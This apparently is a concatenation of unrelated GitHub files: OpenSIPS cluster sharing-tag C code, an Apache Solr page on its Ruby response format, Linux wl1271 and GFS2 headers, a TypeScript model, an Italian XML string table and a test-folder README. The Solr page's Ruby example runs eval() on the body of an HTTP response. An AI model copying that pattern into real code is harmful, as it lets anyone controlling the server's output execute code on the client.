{ "pile_set_name": "Github" }
/* * Copyright (C) 2018-2019 OpenSIPS Solutions * * This file is part of opensips, a free SIP server. * * opensips is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version * * opensips is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include "../../ut.h" #include "../../str.h" #include "../../rw_locking.h" #include "../../bin_interface.h" #include "clusterer.h" #include "node_info.h" #include "sharing_tags.h" struct n_send_info { int node_id; struct n_send_info *next; }; struct sharing_tag { str name; int cluster_id; int state; int send_active_msg; struct n_send_info *active_msgs_sent; struct sharing_tag *next; }; struct shtag_cb { str tag_name; int cluster_id; void *param; shtag_cb_f func; struct shtag_cb *next; }; static struct sharing_tag **shtags_list = NULL; static rw_lock_t *shtags_lock = NULL; static struct shtag_cb *shtag_cb_list=NULL; int shtag_register_callback(str *tag_name, int c_id, void *param, shtag_cb_f func) { struct shtag_cb *cb; cb = (struct shtag_cb*)pkg_malloc (sizeof(struct shtag_cb) + (tag_name?tag_name->len:0)); if (cb==NULL) { LM_ERR("failed to allocate pkg mem for a new shtag callback\n"); return -1; } cb->cluster_id = c_id; cb->param = param; cb->func = func; if (tag_name && tag_name->len) { cb->tag_name.s =(char*) (cb + 1); cb->tag_name.len = tag_name->len; memcpy(cb->tag_name.s , tag_name->s, tag_name->len); } else { cb->tag_name.s = NULL; cb->tag_name.len = 0; } cb->next = shtag_cb_list; shtag_cb_list = cb; return 0; } static void shtag_run_callbacks(str *tag_name, int state, int c_id) { struct shtag_cb *cb; LM_DBG("running callbacks for tag <%.*s>/%d becoming active\n", tag_name->len, tag_name->s, c_id); for (cb = shtag_cb_list ; cb ; cb=cb->next ) { if ( (cb->cluster_id<0 || cb->cluster_id==c_id) && (cb->tag_name.s==NULL || (cb->tag_name.len==tag_name->len && memcmp(cb->tag_name.s, tag_name->s, tag_name->len)==0)) ) { cb->func( tag_name, state, c_id, cb->param); } } } void shtag_validate_list(void) { struct sharing_tag *tag; struct sharing_tag *next_tag; struct sharing_tag *prev_tag; lock_start_read(cl_list_lock); lock_start_read(shtags_lock); for (tag=*shtags_list,prev_tag=NULL ; tag ; tag=next_tag) { if (!get_cluster_by_id(tag->cluster_id)) { LM_WARN("cluster id [%d] required by tag <%.*s> not found, " "purging tag\n", tag->cluster_id, tag->name.len, tag->name.s); if (prev_tag==NULL) *shtags_list = tag->next; else prev_tag->next = tag->next; next_tag = tag->next; tag->next = NULL; shm_free(tag); tag=NULL; } else { next_tag = tag->next; prev_tag=tag; } } lock_stop_read(shtags_lock); lock_stop_read(cl_list_lock); } static struct sharing_tag *shtag_create(str *tag_name, int cluster_id) { struct sharing_tag *new_tag; LM_DBG("creating sharing tag <%.*s> in cluster %d\n", tag_name->len, tag_name->s, cluster_id); new_tag = shm_malloc(sizeof *new_tag + tag_name->len); if (!new_tag) { LM_ERR("No more shm memory\n"); return NULL; } memset(new_tag, 0, sizeof *new_tag); new_tag->name.s = (char *)(new_tag + 1); new_tag->name.len = tag_name->len; memcpy(new_tag->name.s, tag_name->s, tag_name->len); new_tag->state = SHTAG_STATE_BACKUP; new_tag->cluster_id = cluster_id; new_tag->next = *shtags_list; *shtags_list = new_tag; return new_tag; } /* should be called under writing lock */ static struct sharing_tag *shtag_get_unsafe(str *tag_name, int c_id) { struct sharing_tag *tag; for (tag = *shtags_list; tag && (tag->cluster_id!=c_id || str_strcmp(&tag->name, tag_name)); tag = tag->next); if (!tag && !(tag = shtag_create(tag_name, c_id))) { LM_ERR("Failed to create sharing tag\n"); return NULL; } return tag; } int shtag_init_list(void) { if (shtags_list==NULL) { if ((shtags_list = shm_malloc(sizeof *shtags_list)) == NULL) { LM_CRIT("No more shm memory\n"); return -1; } *shtags_list = NULL; if ((shtags_lock = lock_init_rw()) == NULL) { LM_CRIT("Failed to init lock\n"); return -1; } } return 0; } int shtag_modparam_func(modparam_t type, void *val_s) { str tag_name; str val; str s; int init_state; int c_id; char *p; struct sharing_tag *tag; val.s = (char *)val_s; val.len = strlen(val.s); p = memchr(val.s, '=', val.len); if (!p) { LM_ERR("Bad definition for sharing tag param <%.*s>\n", val.len, val.s); return -1; } /* tag name */ tag_name.s = val.s; tag_name.len = p - val.s; /* identify the value */ s.s = p + 1; s.len = val.s + val.len - s.s; trim_spaces_lr( s ); if (!memcmp(s.s, "active", s.len)) init_state = SHTAG_STATE_ACTIVE; else if (!memcmp(s.s, "backup", s.len)) init_state = SHTAG_STATE_BACKUP; else { LM_ERR("Bad state <%.*s> for sharing tag param <%.*s>, allowed only " "<active/backup>\n", s.len, s.s, val.len, val.s); return -1; } /* now split the tag in tag name and cluster ID */ p = memchr(tag_name.s, '/', tag_name.len); if (!p) { LM_ERR("Bad naming for sharing tag param <%.*s>, <name/cluster_id> " "expected\n", tag_name.len, tag_name.s); return -1; } s.s = p + 1; s.len = tag_name.s + tag_name.len - s.s; trim_spaces_lr( s ); tag_name.len = p - tag_name.s; trim_spaces_lr( tag_name ); /* get the cluster ID */ if (str2int( &s, (unsigned int*)&c_id)<0) { LM_ERR("Invalid cluster id <%.*s> for sharing tag param <%.*s> \n", s.len, s.s, val.len, val.s); return -1; } /* initial tag state */ LM_DBG("found tag <%.*s>, cluster ID <%d>, value <%s> \n", tag_name.len, tag_name.s, c_id, init_state==SHTAG_STATE_ACTIVE?"active":"backup"); if (shtag_init_list()<0) { LM_ERR("failed to init the sharing tags list\n"); return -1; } /* create sharing tag with given state */ if ((tag = shtag_get_unsafe(&tag_name, c_id)) == NULL) { LM_ERR("Unable to create replication tag [%.*s]\n", tag_name.len, tag_name.s); return -1; } /* force the given state */ tag->state = init_state; if (init_state == SHTAG_STATE_ACTIVE) /* broadcast (later) in cluster that this tag is active */ tag->send_active_msg = 1; return 0; } static struct sharing_tag *__shtag_get_safe(str *tag_name, int c_id) { struct sharing_tag *tag; int lock_old_flag; for (tag = *shtags_list; tag && (tag->cluster_id!=c_id || str_strcmp(&tag->name, tag_name)); tag = tag->next) ; if (!tag) { lock_switch_write(shtags_lock, lock_old_flag); if ((tag = shtag_create(tag_name, c_id)) == NULL) { LM_ERR("Failed to create sharing tag\n"); lock_switch_read(shtags_lock, lock_old_flag); lock_stop_sw_read(shtags_lock); return NULL; } lock_switch_read(shtags_lock, lock_old_flag); } return tag; } int shtag_get(str *tag_name, int cluster_id) { struct sharing_tag *tag; int ret; lock_start_read(shtags_lock); for (tag = *shtags_list; tag && (tag->cluster_id!=cluster_id || str_strcmp(&tag->name, tag_name)); tag = tag->next) ; if (!tag) { lock_stop_read(shtags_lock); lock_start_write(shtags_lock); tag = shtag_get_unsafe(tag_name, cluster_id); ret = (tag == NULL) ? -1 : tag->state; lock_stop_write(shtags_lock); } else { ret = tag->state; lock_stop_read(shtags_lock); } return ret; } static int shtag_send_active_info(int c_id, str *tag_name, int node_id) { bin_packet_t packet; if (bin_init(&packet, &cl_extra_cap, CLUSTERER_SHTAG_ACTIVE, BIN_VERSION, 0) < 0) { LM_ERR("Failed to init bin packet\n"); return CLUSTERER_SEND_ERR; } if (bin_push_str(&packet, tag_name) < 0) return CLUSTERER_SEND_ERR; if (cl_send_to(&packet, c_id, node_id) != CLUSTERER_SEND_SUCCESS) { bin_free_packet(&packet); return CLUSTERER_SEND_ERR; } bin_free_packet(&packet); return 0; } int shtag_activate(str *tag_name, int cluster_id) { struct sharing_tag *tag; int lock_old_flag; int ret, old_state; struct n_send_info *ni; node_info_t *node; cluster_info_t *cl; lock_start_sw_read(shtags_lock); tag = __shtag_get_safe( tag_name, cluster_id); if (tag!=NULL) { lock_switch_write(shtags_lock, lock_old_flag); old_state = tag->state; tag->state = SHTAG_STATE_ACTIVE; lock_switch_read(shtags_lock, lock_old_flag); } ret = (tag==NULL)? -1 : tag->state ; /* do we have a transition from BACKUP to ACTIVE? */ if (ret==SHTAG_STATE_ACTIVE && old_state!=SHTAG_STATE_ACTIVE) { cl = get_cluster_by_id(cluster_id); if (!cl) { LM_ERR("Bad cluster id: %d\n", cluster_id); lock_stop_sw_read(shtags_lock); return ret; } /* inform the other nodes that we are active now */ for (node = cl->node_list; node; node = node->next) { if (tag->send_active_msg) for (ni = tag->active_msgs_sent; ni && ni->node_id != node->node_id; ni = ni->next) ; if (!tag->send_active_msg || !ni) { if (shtag_send_active_info(cluster_id,&tag->name,node->node_id)<0){ LM_ERR("Failed to send message about tag [%.*s/%d] " "going active to node: %d\n", tag_name->len, tag_name->s, cluster_id, node->node_id); lock_switch_write(shtags_lock, lock_old_flag); tag->send_active_msg = 1; lock_switch_read(shtags_lock, lock_old_flag); continue; } ni = shm_malloc(sizeof *ni); if (!ni) { LM_ERR("No more shm memory!\n"); lock_stop_sw_read(shtags_lock); return ret; } ni->node_id = node->node_id; ni->next = tag->active_msgs_sent; lock_switch_write(shtags_lock, lock_old_flag); tag->active_msgs_sent = ni; lock_switch_read(shtags_lock, lock_old_flag); } } lock_stop_sw_read(shtags_lock); /* run the callbacks */ shtag_run_callbacks( tag_name, SHTAG_STATE_ACTIVE, cluster_id); } else lock_stop_sw_read(shtags_lock); return ret; } str** shtag_get_all_active(int cluster_id) { #define MAX_TAGS_NO 64 static str* tag_name[MAX_TAGS_NO+1]; struct sharing_tag *tag; unsigned int n; lock_start_read(shtags_lock); for ( tag=*shtags_list,n=0 ; tag ; tag = tag->next) { if ( tag->state==SHTAG_STATE_ACTIVE && (cluster_id<0 || cluster_id==tag->cluster_id) && n<MAX_TAGS_NO ) { tag_name[n++] = &tag->name; } } lock_stop_read(shtags_lock); /* set an end marker */ tag_name[n] = NULL; return tag_name; } void shtag_flush_state(int c_id, int node_id) { struct sharing_tag *tag; struct n_send_info *ni; int lock_old_flag; lock_start_sw_read(shtags_lock); for (tag = *shtags_list; tag; tag = tag->next) { if (!tag->send_active_msg) continue; /* send repltag active msg to nodes to which we didn't already */ for (ni = tag->active_msgs_sent; ni && ni->node_id != node_id; ni = ni->next) ; if (!ni) { if (shtag_send_active_info(c_id,&tag->name,node_id)<0){ LM_ERR("Failed to send info about replication tag\n"); continue; } ni = shm_malloc(sizeof *ni); if (!ni) { LM_ERR("No more shm memory!\n"); return; } ni->node_id = node_id; ni->next = tag->active_msgs_sent; lock_switch_write(shtags_lock, lock_old_flag); tag->active_msgs_sent = ni; lock_switch_read(shtags_lock, lock_old_flag); } } lock_stop_sw_read(shtags_lock); } static void free_active_msgs_info(struct sharing_tag *tag) { struct n_send_info *it, *tmp; it = tag->active_msgs_sent; while (it) { tmp = it; it = it->next; shm_free(tmp); } tag->active_msgs_sent = NULL; } int handle_shtag_active(bin_packet_t *packet, int cluster_id) { str tag_name; struct sharing_tag *tag; int old_state; bin_pop_str(packet, &tag_name); LM_DBG("receiving ACTIVE advertising for tag <%.*s> cluster %d\n", tag_name.len, tag_name.s, cluster_id); lock_start_write(shtags_lock); if ((tag = shtag_get_unsafe(&tag_name, cluster_id)) == NULL) { LM_ERR("Unable to fetch sharing tag\n"); lock_stop_write(shtags_lock); return -1; } /* directly go to backup state when another * node in the cluster is to active */ old_state = tag->state; tag->state = SHTAG_STATE_BACKUP; tag->send_active_msg = 0; free_active_msgs_info(tag); lock_stop_write(shtags_lock); if (old_state!=SHTAG_STATE_BACKUP) shtag_run_callbacks( &tag_name, SHTAG_STATE_BACKUP, cluster_id); return 0; } void shtag_event_handler(int cluster_id, enum clusterer_event ev, int node_id) { if (ev == CLUSTER_NODE_UP) shtag_flush_state( cluster_id, node_id); } mi_response_t *shtag_mi_list(const mi_params_t *params, struct mi_handler *async_hdl) { mi_response_t *resp; mi_item_t *resp_arr, *tag_item; struct sharing_tag *tag; resp = init_mi_result_array(&resp_arr); if (!resp) return 0; lock_start_read(shtags_lock); for (tag = *shtags_list; tag; tag = tag->next) { tag_item = add_mi_object(resp_arr, NULL, 0); if (!tag_item) goto error; if (add_mi_string(tag_item, MI_SSTR("Tag"), tag->name.s, tag->name.len) < 0) goto error; if (add_mi_number(tag_item, MI_SSTR("Cluster"), tag->cluster_id) < 0) goto error; if (tag->state == SHTAG_STATE_ACTIVE) { if (add_mi_string(tag_item, MI_SSTR("State"), MI_SSTR("active")) < 0) goto error; } else if (add_mi_string(tag_item, MI_SSTR("State"), MI_SSTR("backup")) < 0) goto error; } lock_stop_read(shtags_lock); return resp; error: lock_stop_read(shtags_lock); free_mi_response(resp); return 0; } mi_response_t *shtag_mi_set_active(const mi_params_t *params, struct mi_handler *async_hdl) { str tag; str s; int c_id; char *p; int len; if (get_mi_string_param(params, "tag", &tag.s, &tag.len) < 0) return init_mi_param_error(); p = memchr(tag.s, '/', tag.len); if (!p) { LM_ERR("Bad naming for sharing tag param <%.*s>, <name/cluster_id> " "expected\n", tag.len, tag.s); return init_mi_error(400, MI_SSTR("Bad tag format <name/cluster_id>")); } len = tag.len; tag.len = p - tag.s; trim_spaces_lr( tag ); /* get the cluster ID */ s.s = p + 1; s.len = tag.s + len - s.s; trim_spaces_lr( s ); if (str2int( &s, (unsigned int*)&c_id)<0) { LM_ERR("Invalid cluster id <%.*s> for sharing tag param <%.*s> \n", s.len, s.s, tag.len, tag.s); return init_mi_error(400, MI_SSTR("Bad cluster ID in tag")); } LM_DBG("requested to activate tag <%.*s> in cluster %d\n", tag.len, tag.s, c_id); lock_start_read(cl_list_lock); if (!get_cluster_by_id(c_id)) { lock_stop_read(cl_list_lock); return init_mi_error(404, MI_SSTR("Cluster ID not found")); } lock_stop_read(cl_list_lock); if (shtag_activate( &tag, c_id)<0) { LM_ERR("Failed set active the tag [%.*s/%d] \n", tag.len, tag.s, c_id); return init_mi_error(500, MI_SSTR("Internal failure when activating " "tag")); } return init_mi_result_ok(); } struct shtag_var_name { str shtag; int cluster_id; }; int var_get_sh_tag(struct sip_msg *msg, pv_param_t *param, pv_value_t *res) { struct shtag_var_name *v_name; int ret; if (param==NULL || param->pvn.type!=PV_NAME_PVAR || param->pvn.u.dname==NULL) { LM_CRIT("BUG - bad parameters\n"); return -1; } v_name = (struct shtag_var_name *)param->pvn.u.dname; ret = shtag_get( &v_name->shtag, v_name->cluster_id); if (ret==-1) return pv_get_null(msg, param, res); if (ret==SHTAG_STATE_ACTIVE) { res->rs.s = "active"; res->rs.len = 6; res->ri = 1; } else { res->rs.s = "backup"; res->rs.len = 6; res->ri = 0; } res->flags = PV_VAL_STR|PV_VAL_INT; return 0; } int var_set_sh_tag(struct sip_msg* msg, pv_param_t *param, int op, pv_value_t *val) { struct shtag_var_name *v_name; int state; if (param==NULL || param->pvn.type!=PV_NAME_PVAR || param->pvn.u.dname==NULL) { LM_CRIT("BUG - bad parameters\n"); return -1; } v_name = (struct shtag_var_name *)param->pvn.u.dname; if (val==NULL || val->flags&(PV_VAL_NONE|PV_VAL_NULL|PV_VAL_EMPTY)) { /* NULL/empty is a NOP */ return 0; } if ( val->flags&PV_VAL_STR ) { /* val is string */ if (val->rs.len==6 && strncasecmp(val->rs.s,"active",6)==0) state = SHTAG_STATE_ACTIVE; else if (val->rs.len==6 && strncasecmp(val->rs.s,"backup",6)==0) state = SHTAG_STATE_BACKUP; else { LM_ERR("unknown value <%.*s> while setting tag <%.*s/%d>\n", val->rs.len, val->rs.s, v_name->shtag.len, v_name->shtag.s, v_name->cluster_id); return -1; } } else { /* val is integer */ state = (val->ri>0)?SHTAG_STATE_ACTIVE:SHTAG_STATE_BACKUP; } if (state!=SHTAG_STATE_ACTIVE) { LM_WARN("cannot set tag <%.*s/%d> to backup, operation not allowed\n", v_name->shtag.len, v_name->shtag.s, v_name->cluster_id); return 0; } if (shtag_activate( &v_name->shtag, v_name->cluster_id)==-1) { LM_ERR("failed to set sharing tag <%.*s/%d> to new state %d\n", v_name->shtag.len, v_name->shtag.s, v_name->cluster_id, state); return -1; } return 0; } int var_parse_sh_tag_name(pv_spec_p sp, str *in) { struct shtag_var_name *v_name; str s; char *p; if(in==NULL || in->s==NULL || sp==NULL) return -1; v_name = (struct shtag_var_name*)pkg_malloc(sizeof(struct shtag_var_name)); if (v_name==NULL) { LM_ERR("failed to allocate name for a shtag var\n"); return -1; } memset(v_name, 0, sizeof(struct shtag_var_name)); /* now split the shtag in tag name and cluster ID */ p = memchr(in->s, '/', in->len); if (!p) { LM_ERR("Bad naming for sharing tag var <%.*s>, <name/cluster_id> " "expected\n", in->len, in->s); return -1; } s.s = p + 1; s.len = in->s + in->len - s.s; trim_spaces_lr( s ); v_name->shtag.len = p - in->s; v_name->shtag.s = in->s; trim_spaces_lr( v_name->shtag ); /* get the cluster ID */ if (str2int( &s, (unsigned int*)&v_name->cluster_id)<0) { LM_ERR("Invalid cluster id <%.*s> for sharing tag var <%.*s> \n", s.len, s.s, in->len, in->s); return -1; } sp->pvp.pvn.type = PV_NAME_PVAR; sp->pvp.pvn.u.dname = (void*)v_name; return 0; }
{ "pile_set_name": "Github" }
= Using Solr From Ruby // Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. Solr has an optional Ruby response format that extends the <<response-writers.adoc#json-response-writer,JSON output>> to allow the response to be safely eval'd by Ruby's interpreter This Ruby response format differs from JSON in the following ways: * Ruby's single quoted strings are used to prevent possible string exploits ** `\` and `'` are the only two characters escaped... ** unicode escapes not used... data is written as raw UTF-8 * nil used for null * `\=>` used as the key/value separator in maps Here's an example Ruby response from Solr, for a request like `\http://localhost:8983/solr/techproducts/select?q=iPod&wt=ruby&indent=on` (with Solr launching using `bin/solr start -e techproducts`): [source,ruby] ---- { 'responseHeader'=>{ 'status'=>0, 'QTime'=>0, 'params'=>{ 'q'=>'iPod', 'indent'=>'on', 'wt'=>'ruby'}}, 'response'=>{'numFound'=>3,'start'=>0,'docs'=>[ { 'id'=>'IW-02', 'name'=>'iPod & iPod Mini USB 2.0 Cable', 'manu'=>'Belkin', 'manu_id_s'=>'belkin', 'cat'=>['electronics', 'connector'], 'features'=>['car power adapter for iPod, white'], 'weight'=>2.0, 'price'=>11.5, 'price_c'=>'11.50,USD', 'popularity'=>1, 'inStock'=>false, 'store'=>'37.7752,-122.4232', 'manufacturedate_dt'=>'2006-02-14T23:55:59Z', '_version_'=>1491038048794705920}, { 'id'=>'F8V7067-APL-KIT', 'name'=>'Belkin Mobile Power Cord for iPod w/ Dock', 'manu'=>'Belkin', 'manu_id_s'=>'belkin', 'cat'=>['electronics', 'connector'], 'features'=>['car power adapter, white'], 'weight'=>4.0, 'price'=>19.95, 'price_c'=>'19.95,USD', 'popularity'=>1, 'inStock'=>false, 'store'=>'45.18014,-93.87741', 'manufacturedate_dt'=>'2005-08-01T16:30:25Z', '_version_'=>1491038048792608768}, { 'id'=>'MA147LL/A', 'name'=>'Apple 60 GB iPod with Video Playback Black', 'manu'=>'Apple Computer Inc.', 'manu_id_s'=>'apple', 'cat'=>['electronics', 'music'], 'features'=>['iTunes, Podcasts, Audiobooks', 'Stores up to 15,000 songs, 25,000 photos, or 150 hours of video', '2.5-inch, 320x240 color TFT LCD display with LED backlight', 'Up to 20 hours of battery life', 'Plays AAC, MP3, WAV, AIFF, Audible, Apple Lossless, H.264 video', 'Notes, Calendar, Phone book, Hold button, Date display, Photo wallet, Built-in games, JPEG photo playback, Upgradeable firmware, USB 2.0 compatibility, Playback speed control, Rechargeable capability, Battery level indication'], 'includes'=>'earbud headphones, USB cable', 'weight'=>5.5, 'price'=>399.0, 'price_c'=>'399.00,USD', 'popularity'=>10, 'inStock'=>true, 'store'=>'37.7752,-100.0232', 'manufacturedate_dt'=>'2005-10-12T08:00:00Z', '_version_'=>1491038048799948800}] }} ---- Here is a simple example of how one may query Solr using the Ruby response format: [source,ruby] ---- require 'net/http' h = Net::HTTP.new('localhost', 8983) http_response = h.get('/solr/techproducts/select?q=iPod&wt=ruby') rsp = eval(http_response.body) puts 'number of matches = ' + rsp['response']['numFound'].to_s #print out the name field for each returned document rsp['response']['docs'].each { |doc| puts 'name field = ' + doc['name'] } ---- For simple interactions with Solr, this may be all you need! If you are building complex interactions with Solr, then consider the libraries mentioned in the https://cwiki.apache.org/confluence/display/solr/Ruby+Response+Format#RubyResponseFormat-Libraries[Solr Wiki].
{ "pile_set_name": "Github" }
/* * This file is part of wl1271 * * Copyright (C) 1998-2009 Texas Instruments. All rights reserved. * Copyright (C) 2008-2009 Nokia Corporation * * Contact: Luciano Coelho <[email protected]> * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * version 2 as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA * 02110-1301 USA * */ #ifndef __RX_H__ #define __RX_H__ #include <linux/bitops.h> #define WL1271_RX_MAX_RSSI -30 #define WL1271_RX_MIN_RSSI -95 #define SHORT_PREAMBLE_BIT BIT(0) #define OFDM_RATE_BIT BIT(6) #define PBCC_RATE_BIT BIT(7) #define PLCP_HEADER_LENGTH 8 #define RX_DESC_PACKETID_SHIFT 11 #define RX_MAX_PACKET_ID 3 #define RX_DESC_VALID_FCS 0x0001 #define RX_DESC_MATCH_RXADDR1 0x0002 #define RX_DESC_MCAST 0x0004 #define RX_DESC_STAINTIM 0x0008 #define RX_DESC_VIRTUAL_BM 0x0010 #define RX_DESC_BCAST 0x0020 #define RX_DESC_MATCH_SSID 0x0040 #define RX_DESC_MATCH_BSSID 0x0080 #define RX_DESC_ENCRYPTION_MASK 0x0300 #define RX_DESC_MEASURMENT 0x0400 #define RX_DESC_SEQNUM_MASK 0x1800 #define RX_DESC_MIC_FAIL 0x2000 #define RX_DESC_DECRYPT_FAIL 0x4000 /* * RX Descriptor flags: * * Bits 0-1 - band * Bit 2 - STBC * Bit 3 - A-MPDU * Bit 4 - HT * Bits 5-7 - encryption */ #define WL1271_RX_DESC_BAND_MASK 0x03 #define WL1271_RX_DESC_ENCRYPT_MASK 0xE0 #define WL1271_RX_DESC_BAND_BG 0x00 #define WL1271_RX_DESC_BAND_J 0x01 #define WL1271_RX_DESC_BAND_A 0x02 #define WL1271_RX_DESC_STBC BIT(2) #define WL1271_RX_DESC_A_MPDU BIT(3) #define WL1271_RX_DESC_HT BIT(4) #define WL1271_RX_DESC_ENCRYPT_WEP 0x20 #define WL1271_RX_DESC_ENCRYPT_TKIP 0x40 #define WL1271_RX_DESC_ENCRYPT_AES 0x60 #define WL1271_RX_DESC_ENCRYPT_GEM 0x80 /* * RX Descriptor status * * Bits 0-2 - error code * Bits 3-5 - process_id tag (AP mode FW) * Bits 6-7 - reserved */ #define WL1271_RX_DESC_STATUS_MASK 0x07 #define WL1271_RX_DESC_SUCCESS 0x00 #define WL1271_RX_DESC_DECRYPT_FAIL 0x01 #define WL1271_RX_DESC_MIC_FAIL 0x02 #define RX_MEM_BLOCK_MASK 0xFF #define RX_BUF_SIZE_MASK 0xFFF00 #define RX_BUF_SIZE_SHIFT_DIV 6 #define ALIGNED_RX_BUF_SIZE_MASK 0xFFFF00 #define ALIGNED_RX_BUF_SIZE_SHIFT 8 /* If set, the start of IP payload is not 4 bytes aligned */ #define RX_BUF_UNALIGNED_PAYLOAD BIT(20) /* If set, the buffer was padded by the FW to be 4 bytes aligned */ #define RX_BUF_PADDED_PAYLOAD BIT(30) /* * Account for the padding inserted by the FW in case of RX_ALIGNMENT * or for fixing alignment in case the packet wasn't aligned. */ #define RX_BUF_ALIGN 2 /* Describes the alignment state of a Rx buffer */ enum wl_rx_buf_align { WLCORE_RX_BUF_ALIGNED, WLCORE_RX_BUF_UNALIGNED, WLCORE_RX_BUF_PADDED, }; enum { WL12XX_RX_CLASS_UNKNOWN, WL12XX_RX_CLASS_MANAGEMENT, WL12XX_RX_CLASS_DATA, WL12XX_RX_CLASS_QOS_DATA, WL12XX_RX_CLASS_BCN_PRBRSP, WL12XX_RX_CLASS_EAPOL, WL12XX_RX_CLASS_BA_EVENT, WL12XX_RX_CLASS_AMSDU, WL12XX_RX_CLASS_LOGGER, }; struct wl1271_rx_descriptor { __le16 length; u8 status; u8 flags; u8 rate; u8 channel; s8 rssi; u8 snr; __le32 timestamp; u8 packet_class; u8 hlid; u8 pad_len; u8 reserved; } __packed; int wlcore_rx(struct wl1271 *wl, struct wl_fw_status_1 *status); u8 wl1271_rate_to_idx(int rate, enum ieee80211_band band); int wl1271_rx_filter_enable(struct wl1271 *wl, int index, bool enable, struct wl12xx_rx_filter *filter); int wl1271_rx_filter_clear_all(struct wl1271 *wl); #endif
{ "pile_set_name": "Github" }
import {BidSessionVendorStatusBase} from '../database-models/bid-session-vendor-status-base'; import {BidSessionVendorBase} from '../database-models/bid-session-vendor-base'; //Generated Imports export class BidSessionVendorStatus extends BidSessionVendorStatusBase { //#region Generated Reference Properties //#region bidSessionVendors Prop bidSessionVendors : BidSessionVendorBase[]; //#endregion bidSessionVendors Prop //#endregion Generated Reference Properties }
{ "pile_set_name": "Github" }
<?xml version="1.0"?> <definitions> <definition> <key>heading_title</key> <value><![CDATA[Nazioni]]></value> </definition> <definition> <key>text_country</key> <value><![CDATA[Nazione]]></value> </definition> <definition> <key>text_success</key> <value><![CDATA[La nazione è stata modificata!]]></value> </definition> <definition> <key>column_name</key> <value><![CDATA[Nome Nazione]]></value> </definition> <definition> <key>column_iso_code_2</key> <value><![CDATA[Codice ISO (2)]]></value> </definition> <definition> <key>column_iso_code_3</key> <value><![CDATA[Codice ISO (3)]]></value> </definition> <definition> <key>column_action</key> <value><![CDATA[Azione]]></value> </definition> <definition> <key>column_status</key> <value><![CDATA[Stato]]></value> </definition> <definition> <key>entry_status</key> <value><![CDATA[Stato della Nazione:]]></value> </definition> <definition> <key>entry_name</key> <value><![CDATA[Nome della Nazione:]]></value> </definition> <definition> <key>entry_iso_code_2</key> <value><![CDATA[Codice ISO (2):]]></value> </definition> <definition> <key>entry_iso_code_3</key> <value><![CDATA[Codice ISO (3):]]></value> </definition> <definition> <key>entry_address_format</key> <value><![CDATA[Indirizzo:<br /><span class="help"> Nome = {firstname}<br /> Cognome = {lastname}<br /> Azienda = {company}<br /> Indirizzo 1 = {address_1}<br /> Indirizzo 2 = {address_2}<br /> Città = {city}<br /> C.A.P. = {postcode}<br /> Zona = {zone}<br /> Codice Zone = {zone_code}<br /> Nazione = {country}</span>]]></value> </definition> <definition> <key>error_permission</key> <value><![CDATA[ATTENZIONE: Non hai l'autorizzazione per modificare le nazioni!]]></value> </definition> <definition> <key>error_name</key> <value><![CDATA[Il nome della nazione deve essere compreso tra 2 e 128 caratteri!]]></value> </definition> <definition> <key>error_default</key> <value> <![CDATA[ATTENZIONE: Questa nazione è assegnata di impostazione al negozio, pertanto non può essere eliminata!]]></value> </definition> <definition> <key>error_store</key> <value> <![CDATA[ATTENZIONE: Questa nazione non può essere eliminata in quanto è attualmente asseganta a %s negozi!]]></value> </definition> <definition> <key>error_address</key> <value> <![CDATA[ATTENZIONE: Questa nazione non può essere eliminata in quanto è assegnata alle %s voci delle rubriche!]]></value> </definition> <definition> <key>error_zone</key> <value> <![CDATA[ATTENZIONE: Questa nazione non può essere eliminata in quanto è attualmente assegnata alle %s zone!]]></value> </definition> <definition> <key>error_zone_to_location</key> <value> <![CDATA[ATTENZIONE: Questa nazione non può essere eliminata in quanto attualmente assegnata alle %s zone di destinazioni!]]></value> </definition> </definitions>
{ "pile_set_name": "Github" }
/* * Copyright (C) Sistina Software, Inc. 1997-2003 All rights reserved. * Copyright (C) 2004-2006 Red Hat, Inc. All rights reserved. * * This copyrighted material is made available to anyone wishing to use, * modify, copy, or redistribute it subject to the terms and conditions * of the GNU General Public License version 2. */ #ifndef __ACL_DOT_H__ #define __ACL_DOT_H__ #include "incore.h" #define GFS2_POSIX_ACL_ACCESS "posix_acl_access" #define GFS2_POSIX_ACL_ACCESS_LEN 16 #define GFS2_POSIX_ACL_DEFAULT "posix_acl_default" #define GFS2_POSIX_ACL_DEFAULT_LEN 17 #define GFS2_ACL_IS_ACCESS(name, len) \ ((len) == GFS2_POSIX_ACL_ACCESS_LEN && \ !memcmp(GFS2_POSIX_ACL_ACCESS, (name), (len))) #define GFS2_ACL_IS_DEFAULT(name, len) \ ((len) == GFS2_POSIX_ACL_DEFAULT_LEN && \ !memcmp(GFS2_POSIX_ACL_DEFAULT, (name), (len))) struct gfs2_ea_request; int gfs2_acl_validate_set(struct gfs2_inode *ip, int access, struct gfs2_ea_request *er, int *remove, mode_t *mode); int gfs2_acl_validate_remove(struct gfs2_inode *ip, int access); int gfs2_check_acl(struct inode *inode, int mask); int gfs2_acl_create(struct gfs2_inode *dip, struct gfs2_inode *ip); int gfs2_acl_chmod(struct gfs2_inode *ip, struct iattr *attr); #endif /* __ACL_DOT_H__ */
{ "pile_set_name": "Github" }
Resources required for both the local and instrumentation tests. **Note**: do not put any tests here! Put local tests that DO NOT need to be executed on an android device in [test](../test). Put tests that DO need to run on an android device in [androidTest](../androidTest).
{ "pile_set_name": "Github" }
